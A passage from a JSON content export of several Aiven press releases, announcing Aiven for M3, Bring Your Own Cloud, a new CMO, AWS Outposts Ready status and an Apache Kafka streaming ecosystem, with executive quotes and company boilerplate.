Finland — October 12, 2020- "},{"_key":"GqggQhbP","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"N4XQrYgz","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, announced its 11th managed service, Aiven for M3. With a unique and purpose-built architecture, M3 enables large-scale time series workloads. Likewise, it will be the first of its kind as a managed service: an open-source, highly-available, horizontally-scalable time series database that opens new possibilities for all organizations, regardless of their size."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"rMQZ48tf","_type":"block","children":[{"_key":"KloLHylL","_type":"span","marks":[],"text":"“Launching Aiven for M3 reflects our promise to provide Aiven customers the latest, most advanced technologies that’ll enable them to not only strengthen their respective business processes and use cases, but to evolve them,” said Hannu Valtonen, co-founder and chief product officer at Aiven. “What’s more, Aiven for M3 could be to time series data what Aiven for Apache Kafka was to data streaming, that providing accessible tech will increase the speed at which we push the underlying use case forward.”"}],"markDefs":[],"style":"normal"},{"_key":"H1iHYVNn","_type":"block","children":[{"_key":"vhxgz4Bo","_type":"span","marks":[],"text":"Data volumes continue to balloon as forward-looking concepts and technologies like IoT and containerization are created and developed, revealing a growing market appetite for a time series database to manage the data scale and complexity rooted in monitoring and analytics workloads."}],"markDefs":[],"style":"normal"},{"_key":"WXdgfnGr","_type":"block","children":[{"_key":"M2MvxgVx","_type":"span","marks":[],"text":"Built to handle Uber’s massive scale, M3’s battle-tested capabilities were what initially piqued Aiven’s interest in the technology because its own growth required a stronger monitoring backbone for the customer nodes under its management, which have grown exponentially — fivefold in the last year alone."}],"markDefs":[],"style":"normal"},{"_key":"2uWuAfYr","_type":"block","children":[{"_key":"Nt8hJ6t3","_type":"span","marks":[],"text":"\"The exponential growth of our business and the underlying operations metrics and monitoring infrastructure that is critical to our fully-automated, self-healing functionality requires a robust solution, said Aiven VP of Tech Ops Mika Eloranta. “We selected M3 because it’s truly Open Source, properly implements clustering, and is highly adaptable to various high-throughput, real-world use cases.”"}],"markDefs":[],"style":"normal"},{"_key":"yfyJQfao","_type":"block","children":[{"_key":"l6W6zdiz","_type":"span","marks":[],"text":"This virtuous circle, whereby Aiven can improve its service offering with the very tech that it provides as managed services means that its customers have unmatched access to a cohesive mix of advanced open-source tech that can be used to develop comprehensive solutions to evolving data challenges."}],"markDefs":[],"style":"normal"},{"_key":"rgIvdGoQ","_type":"block","children":[{"_key":"D2O0EHXM","_type":"span","marks":[],"text":"Aiven for M3 exemplifies this with out-of-box support for Prometheus, InfluxDB and Graphite protocols, integrations with popular visualization and metrics platforms such as Grafana, Prometheus and Jolokia, and advanced features such as multi-az placement, Terraform support and VPC peering."}],"markDefs":[],"style":"normal"},{"_key":"XRKmECI1","_type":"block","children":[{"_key":"N1YGKs45","_type":"span","marks":[],"text":"Currently in Beta, Aiven for M3 will be generally available in mid-November."}],"markDefs":[],"style":"normal"},{"_key":"R3C6agNZ","_type":"block","children":[{"_key":"6FP71jMZ","_type":"span","marks":[],"text":"To learn more about Aiven for M3, visit: "},{"_key":"1eNZCjvl","_type":"span","marks":["m11964345178934"],"text":"Aiven for M3"},{"_key":"yI2iDaW0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11964345178934","_type":"link","href":"https://aiven.io/m3"}],"style":"normal"},{"_key":"vvoxh1vb","_type":"block","children":[{"_key":"d9Ag6mqo","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Qy2kGf9T","_type":"block","children":[{"_key":"ci7KBs2w","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"kz8Cpn6N","_type":"block","children":[{"_key":"a9c06VSW","_type":"span","marks":[],"text":"You can visit "},{"_key":"PQPx8AII","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"Q9Jkx4r6","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"8deVNtMQ","_type":"span","marks":["m17467540486251"],"text":"@aiven_io."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-12T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for M3 meets market demands for a time series database as data volume and complexity increase.","metaTitle":"Aiven introduces first-ever Aiven for M3, focusing on time."},"slug":{"_type":"slug","current":"/press/aiven-bets-on-time-series-with-release-of-first-of-kind-aiven-for-m3"},"subtitle":"Aiven for M3 meets market demands for a time series database as data volume and complexity increase.","title":"Aiven bets on time series with release of first of kind Aiven for M3"} {"__i18n_lang":"en","_createdAt":"2023-05-29T22:34:50Z","_id":"b93ab908-1136-4b9f-bb6a-f272689ea45d","_rev":"Bg5HPBiLdZofLBzDEz9vFe","_type":"pressRelease","_updatedAt":"2023-06-01T08:00:38Z","content":[{"_key":"bb8102caa755","_type":"block","children":[{"_key":"600e7ff12dab0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 31, 2023"},{"_key":"600e7ff12dab1","_type":"span","marks":[],"text":" — "},{"_key":"600e7ff12dab2","_type":"span","marks":["1885eba6293a"],"text":"Aiven"},{"_key":"600e7ff12dab3","_type":"span","marks":[],"text":", the open source cloud data platform, today unveiled Bring Your Own Cloud (BYOC), a way for companies to get the most out of their public cloud investments without losing control of their data. BYOC lets customers deploy Aiven’s managed data services directly to their AWS, Google Cloud, or Microsoft Azure accounts, giving them the flexibility to use the cloud platform of their choice for compute, storage, and networking - and allowing them to consolidate their cloud spend with that provider to amplify their cost saving opportunities."}],"markDefs":[{"_key":"1885eba6293a","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"602cc3effae9","_type":"block","children":[{"_key":"aeedd35d387e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0f45d96a91f1","_type":"block","children":[{"_key":"2d60c3991fc00","_type":"span","marks":[],"text":"According to advisory firm "},{"_key":"2d60c3991fc01","_type":"span","marks":["bc31a5891d81"],"text":"Forrester"},{"_key":"2d60c3991fc02","_type":"span","marks":[],"text":", the public cloud market will almost triple by 2026, growing to $1.3 trillion from $446.4 billion in 2022. Though companies are spending more on cloud than ever, managing cloud spending continues to be a top challenge. To address this issue, many companies turn to the discount programs offered by the major public cloud providers, which can significantly reduce the cost of cloud infrastructure. But these programs come with a price: a multi-year commitment that imposes restrictions and limits flexibility. With BYOC, Aiven gives companies another choice: a way to take advantage of the substantial discounts on infrastructure offered by the public cloud vendors while running services from Aiven’s trusted open source data platform, including PostgreSQL, Kafka and OpenSearch."}],"markDefs":[{"_key":"bc31a5891d81","_type":"link","href":"https://www.forrester.com/report/the-public-cloud-market-outlook-2022-to-2026/RES178311?utm_source=pr_pitch\u0026utm_medium=pr\u0026utm_campaign=tech\u0026utm_content=us12_02"}],"style":"normal"},{"_key":"c38e64c3e17c","_type":"block","children":[{"_key":"c113e64ab0960","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"58b4afdb3d40","_type":"block","children":[{"_key":"497cec9c09330","_type":"span","marks":[],"text":"\"In the days of increased regulations and privacy, customer data security is paramount. Companies should have control over where and how their data is housed and processed,\" said Jonah Kowall, Vice President of Product Management at Aiven. \"With Aiven’s Bring Your Own Cloud, companies have the freedom, flexibility, and choice to fully control their data security and processes. Aiven makes it easy for customers to provision and manage services across their organizations, and includes around-the-clock monitoring and peace of mind of a 99.99% uptime SLA.\""}],"markDefs":[],"style":"normal"},{"_key":"af2220d9bb60","_type":"block","children":[{"_key":"99ac3ed0e6070","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b215fa820a99","_type":"block","children":[{"_key":"baa0e7f50a100","_type":"span","marks":[],"text":"\"Aiven allows us to keep control of our data while enjoying the benefits of a managed service,\" said Diogo Gomes, Cloud Transformation \u0026 Database Manager at French retailer La Redoute."}],"markDefs":[],"style":"normal"},{"_key":"84d91f99ab01","_type":"block","children":[{"_key":"df4243c6c07e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"59a9ef111c63","_type":"block","children":[{"_key":"3919951364590","_type":"span","marks":[],"text":"\"One of the reasons why we moved to Aiven, instead of other solutions, is that Aiven allows us to run the services in our own cloud, on our own infrastructure,\" said Dups Wijayawardhana, CTO, Supermetrics, a data management and analysis tool company for marketers."}],"markDefs":[],"style":"normal"},{"_key":"121e0b648404","_type":"block","children":[{"_key":"a13d2764dfe30","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0e1324eb2caa","_type":"block","children":[{"_key":"3577d3dddb480","_type":"span","marks":[],"text":"Aiven’s BYOC is the ideal solution for companies that use many cloud services or operate in regulated industries like healthcare or financial services with strict requirements for where data lives. It connects a customer’s AWS, Google Cloud, or Microsoft Azure account to the Aiven platform in a secure way using industry standard VPCs and role-based access controls. This makes it possible to deploy Aiven services directly in their cloud infrastructure, giving them control of their data while also cutting cloud costs and meeting cloud commitments. Early Aiven BYOC customers have reduced their overall cloud spend by an average of 30%."}],"markDefs":[],"style":"normal"},{"_key":"b294564b7a58","_type":"block","children":[{"_key":"4ee07697fb040","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"a4e9903cd0e5","_type":"block","children":[{"_key":"af99c529ecb60","_type":"span","marks":["strong"],"text":"Availability"}],"markDefs":[],"style":"normal"},{"_key":"0bd9a8ab0f56","_type":"block","children":[{"_key":"c33ddd9fae550","_type":"span","marks":[],"text":"Aiven BYOC is ideal for customers with favorable purchasing agreements for cloud infrastructure or specific requirements for security and control. It can be deployed on AWS, Google Cloud, and Microsoft Azure, and is available now to new and existing Aiven customers with an enterprise support contract and a minimum monthly spend."}],"markDefs":[],"style":"normal"},{"_key":"e0d05b607ca7","_type":"block","children":[{"_key":"4ae437781d520","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"a5eb3262fc7d","_type":"block","children":[{"_key":"9c657aa33c040","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"7710c6674b3b","_type":"block","children":[{"_key":"acdf22c831520","_type":"span","marks":["5e2de714378d"],"text":"Read our blog post"},{"_key":"acdf22c831521","_type":"span","marks":[],"text":" for more detail on Aiven BYOC"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5e2de714378d","_type":"link","href":"https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc"}],"style":"normal"},{"_key":"31c33ec3c76c","_type":"block","children":[{"_key":"394b9ad81f830","_type":"span","marks":[],"text":"For more information on bringing Aiven to your own cloud, please visit "},{"_key":"394b9ad81f831","_type":"span","marks":["8048df805e63"],"text":"our website"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8048df805e63","_type":"link","href":"https://aiven.io/platform"}],"style":"normal"},{"_key":"d336e988897f","_type":"block","children":[{"_key":"d1f50f9763dd0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"62cd02186103","_type":"block","children":[{"_key":"d1be4a8b46160","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"9c5d726ba5cd","_type":"block","children":[{"_key":"b50a74d9566e0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"dca7462051a8","_type":"block","children":[{"_key":"6d9c4a096d5f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"7b619a13ce8e","_type":"block","children":[{"_key":"3e3b02e785ec0","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"3e3b02e785ec1","_type":"span","marks":["3b2093417345"],"text":"aiven.io"},{"_key":"3e3b02e785ec2","_type":"span","marks":[],"text":" and follow "},{"_key":"3e3b02e785ec3","_type":"span","marks":["511607144703"],"text":"@aiven_io"},{"_key":"3e3b02e785ec4","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"3b2093417345","_type":"link","href":"https://aiven.io/"},{"_key":"511607144703","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"d30a21a0f565","_type":"block","children":[{"_key":"bb20d037b7f70","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"fabf816850bf","_type":"block","children":[{"_key":"3d28ef8439350","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"a99e8f472a43","_type":"block","children":[{"_key":"16f0e1a5ea6f0","_type":"span","marks":["546d70a14461"],"text":"press@aiven.io"}],"markDefs":[{"_key":"546d70a14461","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"9b09c94c89ce","_type":"block","children":[{"_key":"38237c8322ca0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-05-31T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/press/aiven-helps-companies-optimize-cloud-spend-lower-cloud-cost"},"subtitle":"Aiven’s Bring Your Own Cloud provides customers flexibility and choice to fully control their data without compromising on public cloud commitments\n","title":"Aiven helps companies optimize cloud spend, lower cloud cost with new offering "} {"__i18n_lang":"en","_createdAt":"2023-06-06T11:22:54Z","_id":"c4bbe185-5a31-4866-a686-a2488657fa04","_rev":"dsxJlHxlnt5nZt5n1sYrQi","_type":"pressRelease","_updatedAt":"2023-06-06T23:35:21Z","content":[{"_key":"92d0207db0f8","_type":"block","children":[{"_key":"6201033aac730","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 6, 2023 "},{"_key":"6201033aac731","_type":"span","marks":[],"text":"- "},{"_key":"6201033aac732","_type":"span","marks":["632dad9e69aa"],"text":"Aiven"},{"_key":"6201033aac733","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced the appointment of Ian Massingham as Chief Marketing Officer (CMO), effective June 1, 2023. Ian will assume the crucial responsibility of crafting and implementing the overall marketing strategy in line with its go-to-market strategy, with a primary focus on engaging customers, partners, and the community to generate demand for the company's platform and solutions."}],"markDefs":[{"_key":"632dad9e69aa","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"0a22cebfcbc3","_type":"block","children":[{"_key":"442ea55845c70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"889ec8bcd375","_type":"block","children":[{"_key":"d34cd4a1700d0","_type":"span","marks":[],"text":"This strategic move comes as the cloud infrastructure industry continues to experience rapid growth, and Ian will be instrumental in driving scalable expansion throughout Aiven's $182 billion total addressable market. He will also be responsible for enriching Aiven’s customer journey and ensuring an exceptional customer experience."}],"markDefs":[],"style":"normal"},{"_key":"89f21c4c37d4","_type":"block","children":[{"_key":"4cd1c6bce6570","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"697aa9be4d73","_type":"block","children":[{"_key":"224a15faa4310","_type":"span","marks":[],"text":"“I’m thrilled to welcome the appointment of Ian as our first-ever Chief Marketing Officer to accelerate Aiven’s growth and success in the cloud data platform market,” said Oskari Saarenmaa, CEO and Co-founder at Aiven. “Ian brings a depth of experience from his tenure at high-growth companies such as Amazon Web Services and MongoDB. His industry knowledge and expertise will be instrumental in bringing us closer to realizing our vision of being the trusted open source data platform for everyone, and bringing this to life for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"9b17c25edad6","_type":"block","children":[{"_key":"31b22c9865110","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"923d7495118e","_type":"block","children":[{"_key":"423c3d63c5570","_type":"span","marks":[],"text":"“Placing customers at the center of everything we do, is a key component of Aiven’s strategy and is something that I am deeply passionate about,” said Ian Massingham, Chief Marketing Officer at Aiven. “Aiven’s open source data platform helps our customers solve problems by simplifying their data infrastructure, and in doing so realize business benefits such as driving revenue and profitability. I’m incredibly proud to partner with our leadership team to deliver on our brand promise and provide more value to our customers, partners, and the Open Source data infrastructure community.”"}],"markDefs":[],"style":"normal"},{"_key":"cc994119d18f","_type":"block","children":[{"_key":"19a7644e5ad20","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ce0bd04d333d","_type":"block","children":[{"_key":"f93a137524b30","_type":"span","marks":[],"text":"Ian initially joined Aiven in late 2022 as the Vice President of Developer Relations and Community and successfully spearheaded the "},{"_key":"f93a137524b31","_type":"span","marks":["fad7264118fb"],"text":"launch"},{"_key":"f93a137524b32","_type":"span","marks":[],"text":" of Aiven’s free plans and community forum in April, demonstrating his ability to drive initiatives that resonate with Aiven’s target audience."}],"markDefs":[{"_key":"fad7264118fb","_type":"link","href":"https://aiven.io/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"}],"style":"normal"},{"_key":"3c9ecb4b9d1f","_type":"block","children":[{"_key":"8239ff26b8860","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"206d0b5578cb","_type":"block","children":[{"_key":"62ad6cdf5c690","_type":"span","marks":[],"text":"This latest C-suite leadership expansion follows the "},{"_key":"62ad6cdf5c691","_type":"span","marks":["5eb6dde7b22f"],"text":"appointment"},{"_key":"62ad6cdf5c692","_type":"span","marks":[],"text":" of David Wyatt as its Chief Revenue Officer earlier in March to support the demand for the company’s open source cloud data platform."}],"markDefs":[{"_key":"5eb6dde7b22f","_type":"link","href":"https://aiven.io/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"}],"style":"normal"},{"_key":"cd763a247c4b","_type":"block","children":[{"_key":"a2c4650e71350","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"53136ea6a45a","_type":"block","children":[{"_key":"03f41944173a0","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"03f41944173a1","_type":"span","marks":["c501e60820c9"],"text":"https://aiven.io/"}],"markDefs":[{"_key":"c501e60820c9","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"2750583a62a8","_type":"block","children":[{"_key":"ca9414191ce10","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"c391bd181ee0","_type":"block","children":[{"_key":"8109d3b9ba470","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"ca62c6af1fdd","_type":"block","children":[{"_key":"f3c609f59e0e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b4b543ae1144","_type":"block","children":[{"_key":"07428d5f9b9e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"bceffc048fa9","_type":"block","children":[{"_key":"606587d0d7e90","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"6e87c7574981","_type":"block","children":[{"_key":"1aa20d408dae0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"801ca38a203a","_type":"block","children":[{"_key":"12c3d51a74e60","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"12c3d51a74e61","_type":"span","marks":["f12629034ce1"],"text":"aiven.io"},{"_key":"12c3d51a74e62","_type":"span","marks":[],"text":" and follow "},{"_key":"12c3d51a74e63","_type":"span","marks":["605307aefa10"],"text":"@aiven_io"},{"_key":"12c3d51a74e64","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"f12629034ce1","_type":"link","href":"https://aiven.io/"},{"_key":"605307aefa10","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"9c495ad300c9","_type":"block","children":[{"_key":"035513227c4e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"c460cb829fcf","_type":"block","children":[{"_key":"6282ea02af8f0","_type":"span","marks":["strong"],"text":"Media Contacts:"},{"_key":"6282ea02af8f1","_type":"span","marks":["722d5afb9e94"],"text":"press@aiven.io"}],"markDefs":[{"_key":"722d5afb9e94","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"858170adeb76","_type":"block","children":[{"_key":"4b2d44f0e6100","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-06-06T11:30:03.870Z","slug":{"_type":"slug","current":"/press/aiven-bolsters-c-suite-bench-with-appointment-of-cmo"},"subtitle":"Newly created role supports Aiven’s continued growth ","title":"Aiven bolsters c-suite bench with appointment of CMO"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5Yk6W9f7epV6bAQLMGKczS","_rev":"PafZ7If3abxFAfZNOj4A4Z","_type":"pressRelease","_updatedAt":"2023-05-31T09:00:02Z","content":[{"_key":"Lf0gSUuz","_type":"block","children":[{"_key":"2d819ded7e92","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 23, 2021-"},{"_key":"5Dia7hcK","_type":"span","marks":[],"text":" "},{"_key":"RZEomgJg","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"Pbvm9NcQ","_type":"span","marks":[],"text":", a software company that combines leading open source technologies with cloud infrastructure, has been selected to the Amazon Web Services (AWS) Outposts Ready Program. With Outposts, AWS and Aiven customers can deploy Aiven open source data services for Kafka, Elasticsearch, Postgres, MySQL, Cassandra, Redis, and M3 on-premises, as well as in hybrid architectures, with a consistent operating model."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"YxDUroWU","_type":"block","children":[{"_key":"4ePOeZGy","_type":"span","marks":["m16581271341869"],"text":"AWS Outposts"},{"_key":"CLGsKTj8","_type":"span","marks":[],"text":" extends the AWS cloud to on-premise environments. It is a fully managed service that offers the same AWS infrastructure, AWS services, APIs and tools to virtually any datacenter, co-location space or on-premise facility for a truly consistent hybrid experience. Through Aiven’s AWS Outposts Ready designation, enterprises have more access and capabilities around on-premise systems for low-latency, local data processing, data residency and migration of applications with local system interdependencies."}],"markDefs":[{"_key":"m16581271341869","_type":"link","href":"https://aws.amazon.com/outposts/"}],"style":"normal"},{"_key":"Hgas753S","_type":"block","children":[{"_key":"UCPDncll","_type":"span","marks":[],"text":"By default, Aiven services are deployed to the public cloud infrastructure chosen by the customer under Aiven's cloud account. Aiven also offers its customers a Bring Your Own Cloud (BYOC) option, which is a setup feature that allows customers to use their existing Cloud Provider account, offering more control. AWS Outposts is an extension of this offering, enabling customers to bring their services and data to their physical data centers for a consistent, fully-managed hybrid experience."}],"markDefs":[],"style":"normal"},{"_key":"0QDLemvY","_type":"block","children":[{"_key":"T2iyPokT","_type":"span","marks":[],"text":"“Through our new designation, we can better support enterprises in their move from on-premises to cloud. Aiven’s enterprise customers can migrate workloads between on-premises and AWS Outposts without service interruptions at any point”, said Oskari Saarenmaa, CEO at Aiven. “This support, in combination with our open source technology offerings like Apache Kafka, Postgres, MySQL and M3, our customers are more equipped than ever for impactful digital transformations.”"}],"markDefs":[],"style":"normal"},{"_key":"t0KXjy5n","_type":"block","children":[{"_key":"x2b5e2Ld","_type":"span","marks":[],"text":"Aiven is one of "},{"_key":"AMQmKYAA","_type":"span","marks":["m2221502957267"],"text":"58 Technology Product companies"},{"_key":"eYv5s7b5","_type":"span","marks":[],"text":" that hold the AWS Outposts Ready designation, and is an Advanced AWS ISV Technology Partner."}],"markDefs":[{"_key":"m2221502957267","_type":"link","href":"https://aws.amazon.com/outposts/partners/?partner-solutions-cards.sort-by=item.additionalFields.partnerNameLower\u0026partner-solutions-cards.sort-order=asc\u0026awsf.partner-solutions-filter-partner-type=*all\u0026awsf.partner-solutions-filter-location=*all"}],"style":"normal"},{"_key":"VEShlEV6","_type":"block","children":[{"_key":"kV9nowHm","_type":"span","marks":[],"text":"For more information about Aiven’s solutions, please visit "},{"_key":"0Zr9sQLX","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"T2p8Zw6N","_type":"span","marks":[],"text":". To discuss Aiven service deployments to your AWS Outposts installations, please "},{"_key":"25EfB3ZU","_type":"span","marks":["m666276980520"],"text":"contact sales"},{"_key":"r8sbbpRP","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m666276980520","_type":"link","href":"https://aiven.io/contact"}],"style":"normal"},{"_key":"zjqooj5v","_type":"block","children":[{"_key":"ORIBMeVe","_type":"span","marks":[],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"DhfqNo3j","_type":"block","children":[{"_key":"QTEG8tvu","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding thanks to its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. To learn more about Aiven, visit "},{"_key":"kuT1xo66","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"Pf6KXjD3","_type":"span","marks":[],"text":" and follow "},{"_key":"VsOwvMvt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"Afl5khYG","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"bkMrdOY9","_type":"block","children":[{"_key":"6qVWa1Y0","_type":"span","marks":[],"text":"About AWS Service Ready Program"}],"markDefs":[],"style":"normal"},{"_key":"U8iAht30","_type":"block","children":[{"_key":"Xk8rOJvm","_type":"span","marks":[],"text":"AWS Service Ready Program, is designed to make it easier for customers to find integrated storage, networking, security and industry-specific solutions that AWS has technically validated and tested on Outposts to help deploy, monitor, secure and integrate Outposts-based workloads."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-11-23T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With Aiven, enterprise customers can deploy fully managed, 100% open source technologies across AWS public cloud and on-premises environments","metaTitle":"Aiven receives AWS Outposts Ready Designation "},"slug":{"_type":"slug","current":"/press/aiven-receives-aws-outposts-ready-designation"},"subtitle":"With Aiven, enterprise customers can deploy fully managed, 100% open source technologies across AWS public cloud and on-premises environments with operational consistency.","title":"Aiven receives AWS Outposts ready designation "} {"__i18n_lang":"en","_createdAt":"2022-12-06T22:11:39Z","_id":"c80b7dec-2823-419c-a2e2-990d1fa8f190","_rev":"THDGXgbtbTWNUZ8wxZisJz","_type":"pressRelease","_updatedAt":"2023-05-15T13:15:44Z","content":[{"_key":"e2da63945a55","_type":"block","children":[{"_key":"128c6fe0ec7e0","_type":"span","marks":[],"text":"HELSINKI, Finland — (December 7, 2022) — "},{"_key":"128c6fe0ec7e1","_type":"span","marks":["381752d205a7"],"text":"Aiven"},{"_key":"128c6fe0ec7e2","_type":"span","marks":[],"text":", the open source cloud data platform, today announced a complete open source streaming ecosystem for Apache Kafka®, delivering a robust– and fully open source real-time data ecosystem with the latest additions of its beta service of Aiven for Apache Flink®, a stream processing framework, and Klaw, a data governance tool for Apache Kafka."}],"markDefs":[{"_key":"381752d205a7","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"5720a1e84b6b","_type":"block","children":[{"_key":"716be2ac4baa0","_type":"span","marks":[],"text":"As the first to offer managed Apache Kafka in the cloud back in 2016, Aiven has become the one, true open source Apache Kafka offering in the market. With the recent acquisition of "},{"_key":"0bcbfcd0aa981","_type":"span","marks":["c7d84d8bcdfb"],"text":"Klaw"},{"_key":"0bcbfcd0aa982","_type":"span","marks":[],"text":", Aiven now provides a comprehensive portfolio of solutions and services around Apache Kafka to let customers transport, manage, process, operate and efficiently govern their organization’s streaming data in real-time. Customers utilizing the Aiven platform can now tap into new capabilities with Aiven’s streamlined, truly end-to-end open source event streaming architecture. Aiven recently announced Klaw in September 2022 after acquiring Kafkawize, a self-service open source data governance tool for Apache 